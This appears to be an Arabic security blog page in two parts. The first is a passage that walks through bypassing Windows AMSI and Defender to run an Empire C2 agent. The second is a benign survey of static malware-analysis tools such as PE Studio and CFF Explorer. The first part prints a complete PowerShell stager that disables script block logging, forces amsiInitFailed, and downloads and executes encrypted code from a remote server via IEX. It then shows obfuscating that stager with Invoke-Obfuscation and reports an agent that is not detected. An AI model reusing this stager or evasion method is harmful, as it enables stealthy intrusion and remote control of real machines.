والأن بعد أن تعرفنا بشكل سريع على الـ AMSI , دعونا نقوم بإستكشاف بعض الـ techniques التي تُمكنا من تخطي AMSI على نظام Windows 10 يوجد عليه Windows Defender , ولكي يكون المقال مُفيد أكثر سوف أقوم بتطبيق أحد هذه الـ techniques على empire agent لينتهي بنا المطاف بالحصول على empire agent يعمل بشكل كامل على النظام.

تخطي AMSI بإستخدام Invoke-Obfuscation

كما ذكرنا مُسبقاً , AMSI بشكل رئيسي تعتمد على signatures  مُعينه يتم أخذها من الـ Anti-Virus solution ومقارنة أي نص يتم تنفيذه داخل powershell أو بعض التطبيقات الأخرى , وفي حال تم كشف أي نص مشبوه , يقوم الـ AMSI برفضها وعدم السماح بتشغيلها , لذلك نستتنج أنه في حال قُمنا بمنع الكلمات التي تحتوي على الـ signature من الظهور من خلال عمل obfuscate لها وكتابتها بصيغ أخرى , سوف نقوم بتخطي الـ AMSI وعدم تمكينها من كشف الـ signature يعني تنفيذ السكربت الخاص بنا داخل powershell دون أي مشاكل.

دعونا نستعرض المشكلة مع empire agent قبل إستكمال المقال , سوف أقوم بما يلي :

  1. إستخراج الـ empire agent powershell code ووضعه على webserver خاص بي.
  2. محاولة إستدعائه وتنفيذه من خلال Invoke-Expression بعد تحميله بإستخدام DownloadString function.

لإستخراج الـ empire agent code نستطيع عمل التالي داخل خيار الـ  listeners :

Image may be NSFW.
Clik here to view.

نقوم الأن بعمل base64 decode لنحصل على الكود التالي:

If($PSVeRsIOnTablE.PSVErSIon.MAjoR -gE 3){$GPF=[ref].ASsEmblY.GeTTYpe('System.Management.Automation.Utils')."GEtFiE`lD"('cachedGroupPolicySettings','N'+'onPublic,Static');IF($GPF){$GPC=$GPF.GeTValUE($nULL);If($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vaL=[COlLectIonS.GenEriC.DIcTioNary[STrINg,SystEM.Object]]::NeW();$Val.ADd('EnableScriptB'+'lockLogging',0);$Val.AdD('EnableScriptBlockInvocationLogging',0);$GPC['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VAL}ELsE{[SCRIPtBLoCK]."GetFiE`Ld"('signatures','N'+'onPublic,Static').SetVAlUE($NUll,(NEw-ObJecT CoLLEcTiOns.GENeric.HaSHSeT[sTrIng]))}[ReF].AsseMBlY.GETTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GetFIelD('amsiInitFailed','NonPublic,Static').SEtVALue($NULl,$TruE)};};[SystEm.NET.SerVicEPointMANaGER]::EXpect100ConTInUe=0;$wc=NeW-OBjeCt SYSTEm.NET.WEbCliENT;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$WC.HeaDERs.AdD('User-Agent',$u);$wc.PROXY=[SYSTEm.NEt.WebRequEst]::DeFaulTWEBProXY;$wc.PrOXy.CrEDENtiALs = [SysteM.Net.CReDEntIAlCAche]::DefAuLtNeTWORkCredENTIaLS;$Script:Proxy = $wc.Proxy;$K=[SYStEM.TEXt.EncODINg]::ASCII.GEtBytEs('m#6~k9,C+5H^t4YLr}v3DOJwU&hNIK<d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CoUNt])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-BXor$S[($S[$I]+$S[$H])%256]}};$ser='http://192.168.178.1:8888';$t='/news.php';$wc.HeadErs.ADD("Cookie","session=d9H/ETeDwEi0oyqmQi1LjEQ9rz4=");$datA=$WC.DoWNloADDAta($sER+$T);$iV=$dAta[0..3];$DAta=$dAtA[4..$DAta.LENGTH];-joiN[ChaR[]](& $R $dATa ($IV+$K))|IEX

لو حاولنا أن نقوم بتشغيله بشكل مباشر على Powershell بعد وضعه داخل ملف إسمه NotAMalware.ps1 على الـ webserver الخاص بنا بعد سحبه من خلال DownloadString سوف نحصل على التالي:

Image may be NSFW.
Clik here to view.

كما نرى بالفعل لقد منعت الـ AMSI تنفيذ الـ powershell code الخاص بالـ empire agent الخاص بنا !

قمت بإستدعاء $error لكي نرى المشكلة بشكل أفضل.

حسناً , الأن لكي نقوم بتخطي الـ AMSI من خلال إعادى ترتيب النصوص وعمل obfuscate لها , يوجد هناك أداة رائعة جداً مكتوبة بلغة Powershell تُسمى Invoke-Obfuscation , حيث تتيح لك تغير شكل النصوص الخاصة بـ powershell script مُعين من خلال التلاعب بالنصوص وطريقة كتابتها , سوف أقوم بتشغيل الأداة من خلال pwsh وهو مُحاكي لـ powershell على أنظمة Linux , تستطيعون التعرف عليه أكثر من خلال هذا الرابط.

تستطيع طبعاً تحليل السكربت السابق بشكل يدوي ومحاولة معرفة الـ signature التي تقوم بكشف السكربت ومحاولة تغيرها , عن نفسي قمت بهذا يدوياً من باب محاولة فهم العملية بشكل أكبر , ولكنها كانت متعبه جداً ولم تؤدي إلى المطلوب بشكل كامل.

لتحميل Invoke-Obfuscation نستطيع عميل  clone للـ repo الخاص بها من github من خلال:

git clone https://github.com/danielbohannon/Invoke-Obfuscation

ولكي نقوم بتشغيلها لابد من تحميله كـ Module داخل الـ pwsh  من خلال Import-Module , وبعد ذلك نقوم بإستدعائها كما يلي:

Image may be NSFW.
Clik here to view.

وبالأسفل سوف نجد ما يلي:

Image may be NSFW.
Clik here to view.

هذه الواجهه الرئيسية للسكربت , حيث أنه يُتيح لك أن تقوم بعمل obfuscation لأي powershell script من خلال التلاعب بالـ string بمجموعة خيارات مُختلفة , سوف نقوم بتجربة الخيار الخاص بالـ String وملاحظة التغيرات التي سوف يقوم بها السكربت وهل سوف يقوم بتخطي الـ AMSI أم لا.

في البداية دعونا نقوم بحفظ الكود الخاص بالـ agent بملف ونقوم بتسميته ReallyNotAMalware.ps1  لكي يقوم Invoke-Obfuscation بقرأته وتحديده من خلال الأمر set scriptpath كما يلي:

Image may be NSFW.
Clik here to view.

وبعد ذلك دعونا نقوم بتنفيذ الخيارات التالية لإستخدام الـ string obfuscation:

Image may be NSFW.
Clik here to view.

بالمربع الأول قُمنا بإختيار الخيار 2 وهو عمل Reorder للـ string الخاص بنا أي انه سوف يقوم بعمليات إعادة ترتيب للـ strings , بالعموم السكربت يقوم بعمل تغيرات كما أشرنا مسبقاً للـ strings وإستبدالها بنصوص أخرى تُعطي نفس المعنى , فمثلاً بدل أن نقوم بإستخدام النص askar بشكل واضح بـ powershell , نستطيع إستبداله بالشكل التالي:

Image may be NSFW.
Clik here to view.

فالخاصية هذه تقوم بعمل ما سبق ولكن على السكربت بشكل كامل , مع بعض التغيرات الأخرى بالطبع بأليات مُختلفة لتغير الـ syntax لمحاولة تفادي الـ signature المطلوبه.

طبعاً بالمربع الأخضر نرى الكود بعد عمل obfuscation له , دعونا نقوم بحفظه بإسم JustANormalScript.ps1 ونرفعه على web server خاص بنا ونقوم بإستدعائه مُجدداً من خلال IEX و Download String كالتالي :

Image may be NSFW.
Clik here to view.

كما نرى تم تحميل وتشغيل السكربت من خلال IEX من دون أي مشاكل , ولو عدنا للـ Empire سوف نجد ما يلي:

Image may be NSFW.
Clik here to view.

حصلنا على empire agent يعمل دون أي مشاكل وقمنا بتخطي AMSI من خلال Invoke-Obfuscation.

طبعاً تخطي AMSI قد يتم ببعض الطرق الأخرى والتي سوف أقوم بشرحها إن شاء الله بمقالات أخرى , أتمنى أن يكون المقال قد نال إعجابكم.

مقال: أهم ادوات static analysis للملفات الضارة على نظام وندوز

البدء بعملية static analysis للملفات الضارة هي الخطوة الاولى والصحيحه لأجراء تحليل لملف مشبوه به , تحليل الملفات الضارة يمكن تقسيمه الي نوعين static analysis و dynamic analysis .

static analysis تهتم ببنية الملف الضارة ومكوناته وكل ما يتعلق بالامور البرمجية الخاصة بالملف مثل اللغه المستخدمه , الدوال المستخدمه … الخ يمكن ان نشبه العملية بعملية تشريح للملف ومعرفة ما داخله دون تشغيله وهذا نوعا ما اكثر امن .

dynamic analysis تهتم بسلوك الملف والاحداث الي يقوم بها في النظام , هذا النوع من التحليلات يحتاج ان يتم تشغيل الملف ورصد كل تحركات الملفات وتصرفاته , هذا النوع اخطر من static analysis ببسبب ان المحلل يجب عليه ان يشغل الملف ورصد تحركاته ولكن في بعض الحالات يقوم الملف باستغلال ثغرات zero day على النظام .

في هذه المقاله سوف نتعرف على اهم الأدوات  المستخدمه في عملية static analysis  لنظام وندوز .

PE Studio :

اداة ذات واجهة رسوميه تستطيع استخدامها لاستخراج خصائص الملفات الضارة مثل النصوص الموجوده في الملف او الدوال المستخدمه في الكود .

Image may be NSFW.
Clik here to view.

الجميل في الاداة انها لا تقوم فقط بعرض المعلومات بل تقوم ايضا بحساب الهاشات الخاصة بكل جزء في الملف ويمكن استخدام هذه الهاشات كتواقيع لاكتشاف الملفات الضارة والعديد من الامور المفيده الاخرى . الاداة  الى حد ما , تستطيع ان تقوم بأخبارك الاجزاء الضارة في الملف الخبيث بشكل تلقائي , عن طريق بعض من الخصائص والدوال المحضوره والموضوعه في قاعده بيانات الاداة بانها اماكن حساسه لا يجب الوصول من ملف غير موثوق فيه . ايضا يمكن فحص الملف الخبيث بمساعده موقع virus total من داخل الاداة  نفسها (يجب ان تكون متصل بالانترنت هذا شيء بديهي ) .

Image may be NSFW.
Clik here to view.

 

مطور الاداة Marc Ochsenmeier .

Peframe :


اداة مكتوبة بلغة البرمجه بايثون تعمل من سطر الاوامر تقوم باستخراج خصائص الملفات الضارة بشكل تلقائي , ايضا حساب الهاشات , يمكن ايضا من خلال headers اكتشاف الـ packers المستخدم في ضغط الملف و system calls ايضا api المستخدمه للوصول الى النظام .

Image may be NSFW.
Clik here to view.

 

ExifTool :


اداة تعمل من سطر الاوامر تشترك في المهام مع اداة PE STUDIO و Peframe , الاحتفاظ بها في مجموعتك المميزه جيد جدا لبعض الحالات التي يتوجب عليك استخدام اكثر من اداة او للتحقق من مخرجات الادوات المشابهه للوظيفة . يمكن ان تستخدم الاداة لاستخراج بعض المعلومات من الصور ايضا كما هو ظاهر في الصوره .

Image may be NSFW.
Clik here to view.

 

Strings2 :


الأداة للمطور Geoff McDonald تعمل من خلال سطر الاوامر تعمل كباقي ادوات استخراج النصوص من الملفات التنفيذيه , الجميل في الاداة انها تستطيع نصوص لمعياري لـ ASCII و Unicode . ايضا المميز في الاداة هي القدره على استخراج النصوص من ملفات قيد التشغيل (process) يمكن ان تقوم بذلك ايضا ببرامج ذات واجهة رسومية مثل process explorer .

 

Image may be NSFW.
Clik here to view.

 

Signsrch :


اداة فعالة اخرى من برمجة Luigi Auriemma , يمكن ان تتعرف على بعض الخصائص الموجوده بداخل الملفات مثل ان تكون خوارزميه مشهوره او ملف وسائط مثل فيديو او صوره او anti-debugging code .. الخ .

Image may be NSFW.
Clik here to view.

 

Exeinfo PE :


اداة اخرى لفحص الملفات التنفيذيه لنظام وندوز يمكنها ان تتعرف على بعض الاجزاء التي استخدمت من قبل packers مشهوره , على سبيل المقال يمكن الاداه ان تخبرك ان الملف مضغوط من قبل UPX والمستخدم لتعمية الكود في الملف الضار .

Image may be NSFW.
Clik here to view.

 

CFF Explorer :


الادة للمطور Daniel Pistelli والتي تسمح لك بتعديل PE header الخاص بالملف , على سبيل المقال اذا اردت ان تقوم بتحليل الملف على نظام وندوز خاصة اصدار 8.1 قد تحتاج الى ان تقوم بمسح  DynamicBase flag والذي له علاقة بحماية ASLR في النظام , الادة تقوم باخبارك بملفات DLL المستخدمه.

Image may be NSFW.
Clik here to view.

 

 

هذه نبذه بسيطة جدا عن كل اداة , بالتاكيد هناك العديد من الادوات الاخرى والتي قد تتشارك بعض مهامها مع مهام هذه الأدوات .

المصدر : Tools for Analyzing Static Properties of Suspicious Files on Windows

ظهرت المقالة مقال: أهم ادوات static analysis للملفات الضارة على نظام وندوز أولاً على iSecur1ty.

Viewing all 466 articles
Browse latest View live


<script src="https://jsc.adskeeper.com/r/s/rssing.com.1596347.js" async> </script>